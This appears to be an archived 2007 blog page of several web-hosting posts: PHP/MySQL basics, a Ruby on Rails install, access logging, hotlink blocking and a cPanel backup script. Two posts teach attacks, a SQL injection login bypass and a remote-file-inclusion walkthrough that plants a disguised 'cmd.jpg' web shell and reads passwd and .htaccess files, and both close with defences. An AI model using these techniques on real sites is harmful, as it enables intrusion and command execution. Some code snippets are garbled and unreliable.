Script Kiddy Killjoy

Posted by Nessa | Tags: ,, | Posted on January 22, 2007


If your site has ever been hacked, it will have most likely showed up in the zone-h database. This is the site where all the little script kiddies get together to brag about their “hacking” skills and such. Basically, whenever they deface a site they report it to zone-h, who then check to make sure they aren’t full of shizit. Well, in efforts to keep the script-kiddies from getting credit, I’ve devised discovered a way to make sure that zone-h’s bots can’t check the submissions. All you have to do is add this to your root .htaccess file:

<Files 403.shtml>
order allow,deny
allow from all

# zone-h
deny from
deny from
deny from 213.219.122.

deny from
deny from
deny from

The Basic MySQL Injection

Posted by Nessa | Tags: ,,, | Posted on January 17, 2007


Ahhhh the classic hack that doesn’t work anymore… which is why I’m posting it here. I always thought it was kind of an interesting concept but no one ever made it simple for me, so I shall do this for you.

How to do a simple MySQL Injection

Ok, so this is your basic PHP login script that asks for your username and password, which would then query the database to authenticate you:

$user = $_POST[“username”];
$pass = $_POST[“password”];
$query = mysql_query(“SELECT * FROM users WHERE user=’$user’ AND password=’$password'”);
$rows = mysql_fetch_row($query);
if ($rows == 0) {
die (‘Login Incorrect!’); }

Assuming that register_globals are enabled on the server, this script will work and in return use the POST variable to query the database for an already-defined row to see if both conditions are being met, which are obviously the username/password fields. If the input does not meet this requirement, then the connection dies and returns the “Login Incorrect” error. So assume I log in with the username “nessa” and the password “sexy.” The $query string will pass this command to MySQL:

$query = mysql_query("SELECT * FROM users WHERE user='nessa' AND password=" OR"=' OR '1'='1'");

Since I used the OR clause in the password field, that can leave a few possibilities up to the database to determine whether a statement is true or false. As you can see, will always be equal to , and 1 is always equal to 1, so MySQL is happy as long as these requirements are met.

So what does that tell you? You can easily replace either the username or password fields withe a or a ” OR 1 and you will have a successful login each time. Of course there are a lot more combinations that will work — you might want to check out this site:

Now seeing that this site is powered by PHP and MySQL, you probably think I’m stupid by posting this. Well quite frankly, MySQL injections are old and nearly impossible with well-scripted PHP software and good PHP environment. If you’re running a custom script or old software, here’s how you can protect your crappy software from being exploited:
Check your magic quotes setting in php.ini or .htaccess:

magic_quotes_gpc should be turned on, as this automatically slash-escapes your codes so MySQL is less likely to make a false positive. As of PHP4, this setting is enabled by default.

If you don’t want to use magic quotes, use mysql_real_escape_string():

Here’s a simple script you can use as an include to automatically escape null characters:

// Quote variable to make safe
function quote_smart($value
// Stripslashes
if (get_magic_quotes_gpc
()) {
$value = stripslashes($value
// Quote if not integer
if (!is_numeric($value
)) {
$value = “‘” . mysql_real_escape_string($value) . “‘”

And the obvious, if you’re using bundled software make sure you keep it up to date. New exploits are being found all the time, so don’t put yourself out there by not updating your shit.

Messing with PHP and MySQL

Posted by Nessa | Tags: , | Posted on January 16, 2007


This just a simple tutorial on how to connect to MySQL with PHP, as well as using a MySQL query to create simple database.

The first thing you would want to do is create the database so PHP can access it. My preferred method is through phpMyAdmin or cPanel (if your host provides this)…or you can run a simple query via MySQL command line:

USE `liquor`;
CREATE TABLE `brands` (
`brand` varchar(40),
`type` varchar(50),
INSERT INTO cars VALUES(1,'skyy','vodka');
INSERT INTO cars VALUES(2,'cpt. morgan','rum');
INSERT INTO cars VALUES(3,'ice 101','schnapps');

This code will basically create a database named “liquor” with the table “brands” that lists three of my favorite liquors in order with the type of liquor that they are. From here, you’ll want to create a database user and add it to the database with the appropriate privileges. You can usually do this in your MySQL management interface provided by your hosting company, but if not you can check this site for information on users and privileges.

Now for the PHP code, you declare your database variable and use to mysql_connect function to establish a database connection:

$db_user = "user_name";
$db_pass = "password";
$db_host = "localhost";

//connection string
$dbconn = mysql_connect($db_host, $db_user, $db_pass)
or die("Cannot connect to database");
echo "Connected to the database!<br>";

Once you’ve verified that you can connect to the database, you now need to tell PHP what table you want to work with. Let’s use the one we just created:

//select a database to work with
$selected = mysql_select_db("brands",$dbconn)
or die("Could not select liquor");

Now here’s the complex part of the code where we create a loop to pull the data from the three rows we created:

//execute the SQL query and return records
$result = mysql_query("SELECT id, brand,type FROM brands");
//fetch tha data from the database
while ($row = mysql_fetch_array($result)) {
echo "ID:".$row{'id'}." Name:".$row{'brand}."

Of course, this example is just a dummy one that returns the same records we’re querying –so it’s not really useful in real life.

Once you have the information you need from the database, try to make it a habit of closing the connection. Using persistant connections can cause issues on the server and is not recommended for a live production site.

//close the connection

Radiant CMS is Gorgeous

Posted by Nessa | Tags: , | Posted on January 15, 2007


Radiant CMSIf you haven’t heard the news, Radiant CMS is finally making its presence on the internet. Of course, you wouldn’t have heard the news unless you’re a dork like me. Anyways, I thought it would be worth mentioning as this is probably one of the sexiest content management systems I’ve seen yet. But really, I just like the color. And the logo’s nice too.

Check out Chris and Luke’s sites, which are currently running Radiant with Ruby on Rails.

Installing Ruby on cPanel

Posted by Nessa | Tags: , | Posted on January 15, 2007


Here’s how to install Ruby on Rails on a cPanel system:

Update: These instructions were modified for Ruby 1.8.6, since 1.8.5 is no longer available!

First install Ruby:

tar -xvzf ruby-1.8.6.tar.gz
cd ruby-1.8.6
make install

Now, install the Gems and Rails:

tar -xvzf rubygems-0.9.0.tgz
cd rubygems-0.9.0
ruby setup.rb
gem install rails

Install Fast CGI

tar -xvzf fcgi-2.4.0.tar.gz
cd fcgi-2.4.0
make install

tar -xvzf mod_fastcgi-2.4.2.tar.gz
cd mod_fastcgi-2.4.2
/usr/local/apache/bin/apxs -o -c *.c
/usr/local/apache/bin/apxs -i -a -n fastcgi
gem install fcgi

Edit the Apache config file and add the fcgi module:

pico /usr/local/apache/conf/httpd.conf

LoadModule fastcgi_module libexec/
FastCgiIpcDir /tmp/fcgi_ipc/
AddHandler fastcgi-script .fcgi
< /IfModule>

Then restart Apache

Install RMagick and GetText:

tar -xvzf GraphicsMagick-1.1.7.tar.gz
cd GraphicsMagick-1.1.7
make install

Install MySQL for Ruby:

gem install mysql

Now make the test Installation. To do this, log in as your user (not root)

su user
cd ~
rails test
cd public_html
ln -s ../test/public/ rails
cd ../test/
chmod -Rf 777 tmp/
cd public
chmod 755 dispatch.fcgi
pico .htaccess

Now, find the line in the .htaccess that looks something like this:

RewriteRule ^(.*)$ dispatch.cgi [QSA,L]

And change “dispatch.cgi” to “dispatch.fcgi”

To see if you’ve installed everything properly, just browse to the Rails folder:

Setting up an Access Log with PHP

Posted by Nessa | Tags: ,,, | Posted on January 14, 2007


I set this up back in July when my site was hosted with H-Insiders and I didn’t have direct access to my Apache logs. I figured that I could do this myself with a few basic PHP functions, and by doing so I was able to set up my own access log in a static text file that I could download whenever I wanted. This first example is to log unique visitors to your site as well as gather some important information about them. Here is the code:

$user = $_SERVER['PHP_AUTH_USER'];
$dtime = date('r');

if($ref == ""){
$ref = "None";
if($user == ""){
$user = "None";

$entry_line = "$dtime - IP: $ip | Agent: $agent | URL: $uri | Referrer: $ref | Username: $user n";
$fp = fopen("access_log.txt", "a");
fputs($fp, $entry_line);

Basically, this is what the code it doing:


First, we have to create a session so that the script will only log this visitor’s activity until the session expires


This snippet checks to see if there is a session variable anywhere, and there is it executes the next section of code.

$user = $_SERVER['PHP_AUTH_USER'];
$dtime = date('r');

This is where the information is collected:

HTTP_USER_AGENT logs the browser type of the visitor

REQUEST_URI logs the page request

PHP_AUTH_USER shows the login credentials used if a user is being authenticated

REMOTE_ADDR shows the IP address of the visitor

HTTP_REFERER shows where the visitor was referred from

Now, to write to the logfile we see this code:

$entry_line = "$dtime - IP: $ip | Agent: $agent | URL: $uri | Referrer: $ref | Username: $user n";
$fp = fopen("access_log.txt", "a");
fputs($fp, $entry_line);

You’ll see that the first line is simply printing out the variables defined above as labels, which can be modifed to whatever you want. fopen and fclose are simple php commands used to open and close a file, while fputs will write the variable $entry_line to the file, with $entry_line being equal to all the information collected by the script. The name of the file we are writing to is “access_log.txt” and the path in the script should reflect the location of where you want that file to be on your server.

But what if you want to bypass sessions and log every single page hit? First of all, your log file is going to become massive, but if you would like to keep more extensive logs all you have to do is exclude this code from the script:



Now you have set up a simple logging system to keep your own Apache access logs. Just make sure you set the text file location to where you want the script to write on your webserver, preferrabled somewhere outside your document root folder.

Hotlink Block

Posted by Nessa | Tags: | Posted on January 14, 2007


So I finally figured out what caused the huge bandwidth spike on my site last month.  Seems some idiot was hotlinking my MP3s and old images from the Jukebox and gallery on my previous site…I guess he’s out of luck now that they’re gone.  Anywho, for those who don’t have the luxury of cPanel, here’s a simple Apache rewrite to keep people from jacking your images and stuff:


RewriteEngine on
RewriteCond %{HTTP_REFERER} .
RewriteCond %{HTTP_REFERER} !^http://(www\.)?site\.com [NC]
RewriteRule \.(jpe?g|gif|png|bmp|mp3)$ – [NC,F]

cPanel Automated Backup Script

Posted by Nessa | Tags: , | Posted on January 3, 2007


This is a simple script derived from the cPanel process that generates full account backups, only in PHP form. This makes the task of backing up your site easier and more reliable by allowing you to generate and maintain your own full site backups.

Download v1.7

  • Automatic backup via Cron job
  • Generates an actual cPanel backup in tar.gz format
  • Very easy to set up, and executable with only one simple command
  • Email notification when the backup is complete
  • FTP option to transfer the backup file to a specified FTP server
  • Compatible with x3 themes


  • cPanel 10 or higher with Cron job and backup functionality enabled
  • PHP 4.1.x or higher
  • FTP access (optional)

How to Use:

  1. Download the script to your computer and extract the tarball
  2. Edit the cpanel_backup.php file with your cPanel settings:

$cpuser = Your cPanel username

$cppass = Your cPanel password

$domain = The domain name where cPanel is run, usually without the www’s

$skin = cPanel skin that you are currently running. This will usually be “x3″ if you’re on cPanel 11 and “x” if you’re still on 10 (which I hope you’re not) but your webhost may have changed this. You can double-check by logging into cPanel and viewing your server settings:

cPanel Server Settings

The next section will set up the FTP options to upload the backup tarball to a server. If the FTP location is the same as the server you are doing the backup on, you should leave these fields blank.

$ftpuser = Username for your FTP site

$ftppass = Password for your FTP site

$ftphost = FTP hostname (usually

$ftpmode = The mode in which you would like to have the file transferred. I would recommend “passive” mode, especially for larger sites.

$ftpport = The port for FTP access on the server

$ftpdir = The remote directory, starting from the root of the FTP directory. If FTP server is the local server, this must NOT be the home folder of the user, as cPanel will automatically delete the backup after it is completed.  Example: /backups (/home/$user/backups).  Directory must exist.

$notifyemail = The email address that the backup confirmation should be send to once the backup is complete

$secure = Whether or not to allow the script to access your cPanel through its secure ports

$debug = Whether or not to show the detailed backup results in your confirmation email

4. Once the php file has been configured, upload it to your webserver. For security’s sake, it is very important that you make sure this file is located outside your document root (public_html) with permissions of 600

5. Now, all you need to do is set the crontab. Log into your cPanel and go to the “Cron Jobs” section and choose “Standard.” Here is where you will create the actual cron job to run the script whenever you want:


cPanel Cron Job

The command may vary depending on the setup of PHP on your server, but your Cron command will be as follows:

php -q /home/username/cpanel_backup.php

Known issues:

  • Users having the rvskin theme have indicated that using ‘x3′ at the theme may work, but others have said that the the script just doesn’t work at all.  I’d say just try running a backup manually and see what theme is in your URL when you do it, and use that.

Upcoming Features:

  • Support for SSH/scp
  • Option to just back up MySQL databases or home directory

PHP Injections for Dummies

Posted by Nessa | Tags: ,,, | Posted on December 30, 2006


This is a basic tutorial on how to do a simple PHP injection, for all you n00bish script kiddies

UPDATE:  FYI, since the release of php 5.2.1, this post mainly applies to earlier versions since remote includes will be disabled in all future releases unless specifically allowed in php.ini.

So basically, a PHP injection is a way of slipping your code in with someone else’s, while making the server think it is legit. Take a common php-formatted URL:

You need to understand what this URL is doing — basically, it is calling on the index.php page, but the ? lets the server know that there is a command string following, in this case a page specification of mypage.php. ? Acts as an include by pulling the contents of a specified file into index.php. There’s what my index.php file looks like:

<?php include ('header.php');

include($page) //this is the page we are calling in the URL ?>

Now, the index.php?page= syntax is the worse case scenario — it will allow you to include the contents of any page into index.php. Do you get where I’m going with this?

An easy example and test is to take your vulnerable page and append an extra URL to it, for example, So my URL will look like this:

If you see Google show up anywhere on the page, then congratulations, you found a leak in the code. Now, knowing that you can pull any file into the URL and have it posted in index.php, I’m sure your mind is wandering with possibilies. Why don’t we try the .htaccess?

Or if you’re feeling daring you could probably even grab the master passwd file on the server:

But don’t get your hopes on on that one… most servers use open base_dir protection with Apache to keep php from going where it shouldn’t go.

Now thank we know the basics, let’s have some fun!

Using something like Notepad, create a text file and save it as a cmd.jpg in ANSI coding, and upload it to your server:

<?php passthru($cmd); ?>

Now go back to the vulnerable page, but add your file’s URL to the end:

Now you can append commands the end of the URL to run Linux commands in the browser. Yes, Linux commands — meaning you now have free reign to the user’s directories, especially ones that are stupidly set to 666 or 777. You can pretty much do anything, like create files/folders, write scripts, download more files, and maybe even delete a few. Here’s the syntax: weeeeeeee

*sigh* Now I have to tell you how to prevent this. In a nutshell:

1. Install mod_security into Apache and make sure your rulesets accomodate the php software you have installed, including access to sensitive files like .htaccess and .htpasswd. This means when those files are called in a browser the server will deny the request.

2. Turn register_globals of for php. It shouldn’t be on anyways.

3. You’ll probably want to add a file exists() function, which will make sure that any included files exist locally.

4. Turn off url Fopen in php.ini or .htaccess, but beware, because some software requires this to work.

UPDATE: Since php 5.2.1, remote includes are no longer enabled without the php.ini directive for allow_url_include. Read Post

5. Make sure you have open base_dir protection enabled in Apache so PHP can’t access files outside the user directory.

6. And the big DUH! Keep your software up to date and refrain from making any folders or files on your site writeable by the “everyone else” group without taking the proper measures to protect them.